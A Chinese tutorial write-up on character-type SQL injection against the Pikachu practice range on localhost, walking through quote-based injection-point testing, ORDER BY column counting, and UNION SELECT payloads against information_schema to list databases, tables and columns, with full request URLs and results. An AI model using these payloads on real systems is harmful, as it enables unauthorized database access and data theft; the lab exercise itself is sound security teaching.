1. SQL注入之字符型

实现目标:获取到pikachu下的表、数据信息

靶场:pikachu =》sql-inject=》字符型注入

2.实验步骤

第一步目标:拿到数据库名

2.1确定请求方法类型

注:为什么需要确定请求方法??自己思考

尝试输入数据,判断请求方法类型

从上可以看出,请求的方法为get类型,注入点在url上边,我们输入的要查询的值是abc,实际被是通过url参数name带入的。而且参数是字符型。

2.2判断注入点

从2.1知道请求方法和注入类型,因为是字符型,所以要考虑数据的闭合,过滤掉特殊符号。

带入的参数很可能是通过 ‘ “ % ( ] 等等,一般是 ‘ 或者 “.

这里尝试过滤掉 ‘,传入 的值被接收很可能是这样包裹$name= ‘abc’,带入sql中,很可能是select name from 表名 where name=’abc’ limit 0,1.只是猜想。

尝试一下过滤掉 ’,一般的过滤方法就是注释掉’后边的语句,加--+注释。

这里可以输入 abc’看是否有注入点。这里要灵活,不一定是过滤’特殊符号,要看代码是真么实现的。

报错了,说明有注入点,而且需要过滤的是 ’ 字符。

2.3猜解字段

需要猜解列数、数据库名、数据库表名、数据库列名,最后才能得到数据

2.4猜解列

首先,使用order by 猜解字段

请求方法构造:字段:name=abc’ order by 3--+

--+的作用是注释掉后边的语句,为sql注释符,自己思考为什么需要加呢?

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%27%20order%20by%203--+&submit=%E6%9F%A5%E8%AF%A2

从上看出只有到3的时候报错,说明只有2列

2.5猜数据库

查数据库版本为:version()  =>select version();

Sql命令行运行下就知道了

查当前的用户为:user() =>select user();

a) Version();当前 mysql 的版本

union select 1,2,version()

b) Database();当前网站使用的数据库

union select 1,2,database()

c) User();当前 MySQL 的用户

union select 1,2,user()

d) system_user(); 系统用户名

e)session_user();连接数据库的用户名

f)current_user;当前用户名

g)load_file();读取本地文件

h)length(str) : 返回给定字符串的长度,如 length(“string”)=6

i)substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”

substr()、stbstring()、mid() 三个函数的用法、功能均一致

j)concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接

group_concat(username) :将username数据查询在一起,用逗号连接

Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

尝试查询如下:

我这里是已知的mysql数据库。如果是其它数据库,还需要再判断数据库的类型。

这里已经是>5.0的mysql数据库。5.0以上的mysql默认有个库information_schema,里面有三张默认的表,非常关键,记录着mysql有所有的数据库、库对应的表、及列的详细信息。

Schemata: 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name

Tables: 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name

Columns :表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

2.6猜解数据库

从上已经知道数据库版本,如果是低版本的数据库,就只有爆破了。

构造查询语句:name=abc’ union select version(),group_concat(schema_name) from information_schema.schemata --+

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%27%20union%20select%20version(),group_concat(schema_name)%20from%20information_schema.schemata--+&submit=%E6%9F%A5%E8%AF%A2

从上知道mysql下的所有数据库名:

information_schema,challenges,mysql,performance_schema,pikachu,pkxss,security,test

2.7猜解pikachu下边的表名

构造语句:name=abc’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’pikachu’ --+

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%E2%80%99%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27pikachu%27%20--+&submit=%E6%9F%A5%E8%AF%A2

从上已经得到pikachu库下所有表名信息

httpinfo,member,message,users,xssblind

2.8猜解pikachu下边的httpinfo列名

构造语句:name=abc’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’pikachu’ and table_name=’httpinfo’ --+

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27pikachu%27%20and%20table_name=%27httpinfo%27--+&submit=%E6%9F%A5%E8%AF%A2

从上得到了数据库列名信息,然后拿数据还有问题么?

列名:id,userid,ipaddress,useragent,httpaccept,remoteport

3.实验小结

这里可以得到数有数据库的数据,思路都一样,要注意的是数据库类型及版本,不同数据库类型、版本,操作语句是不一样的。但是思想原理是一致的。

SQL注入之字符型注入练习(pikachu)相关推荐

  1. SQL注入原理-字符型注入

    小伙伴们大家好!本期为大家带来的是SQL注入原理-字符型注入的讲解! 目录 SQL注入原理 字符型注入 一.单引号字符注入 1.测试是否存在注入点 2.判断字段个数 3.找出可以回显的字段 4.查看当 ...

  2. sql注入_字符型、数字型判断

    如何判断sql注入是字符型还是数字型? 在进行sql注入时,字段类型分为字符型或者数字型,意味着我们需要构造不同的sql语句. 假设存在sql注入的url是:http://192.168.0.1/id ...

  3. 黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码

    SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作. 由于SQL语句本 ...

  4. SQL注入:搜索型注入

    like语法 "%"匹配任何字符,  "like"的意思就是像,  "$" 变量 SQL语句:select username,id from ...

  5. mysql 布尔型盲注,SQL注入之布尔型注入(MySQL)

    0x00 特点 当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用, 它一次只能猜测一个字节,速度慢,但是只要存在注入就能用 0x ...

  6. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(七)-SQL注入字符型

    目录 前言: 一.简介 二.项目配置 三.代码编写 四.运行测试 前言: 前面完成了 SQL 注入漏洞的数字型输入,其实 SQL 注入漏洞还有很多其他类型的注入,例如:字符型注入.宽字节注入等,相应的 ...

  7. php字符型和数字型的注入,Sql注入的分类:数字型+字符型

    Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...

  8. 【less-11】基于SQLI的POST字符型SQL注入

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入 实验目的 实验环境 实验原理 实验步骤 第一步 判断是够存在POST型注入点 ...

  9. 【less-1】基于SQLI的SQL字符型报错注入

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 文章目录 实验目的 实验环境 实验原理 实验步骤 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动 ...

最新文章

  1. java curl json_curl javaSSm框架中传入json数组的格式方法
  2. iOS 开发 OC编程 数组冒泡排序.图书管理
  3. 美国国家创新体系的演化历程、特点及启示
  4. Node初学(一)require方法
  5. MoeCTF 2021Re部分------Algorithm_revenge
  6. 纪录备忘:应用中的脚本应用
  7. acrgis api for javaScript需要对Dojo了解多少?
  8. Defination list(定义列表)
  9. MySQL 数据类型和 Java 数据类型对照表
  10. 快上车,带你了解HiLens Studio六大优势
  11. three相机在模型上_一步步带你实现web全景看房——three.js
  12. 为什么我会感到迷茫? 文/江湖一剑客
  13. onedrive指定文件夹备份
  14. Android中的Glide
  15. getline()函数的几点疑惑
  16. 2021年N1叉车司机考试题库及N1叉车司机模拟考试
  17. 微信公众号文章怎么搞成html,微信公众号文章中的引导样式如何设置成签名模板?...
  18. 基于Java+SpringBoot+Vue前后端分离餐厅点餐管理系统设计和实现
  19. 创建EKS Cluster的笔记
  20. Zotero6.0版本 Quicklook不能使用/中文乱码不显示

热门文章

  1. java和python哪个更好找工作?
  2. 黑马程序员---Java 容器集合
  3. S3C2450自动升级[原创作品,转载请注明出处]
  4. 被final修饰的部分变量后依然可以被修改
  5. Java 操作系统实验 时间片轮转法
  6. 机器人+人工智能课程需求和就业趋势-2022-
  7. docx4j生成Word添加页眉页脚水印 页眉页脚奇偶显示首页显示
  8. C语言实现TCP网络通信
  9. 【一句日历】2019年5月
  10. 用日志构建坚固的数据基础设施/为什么双写不好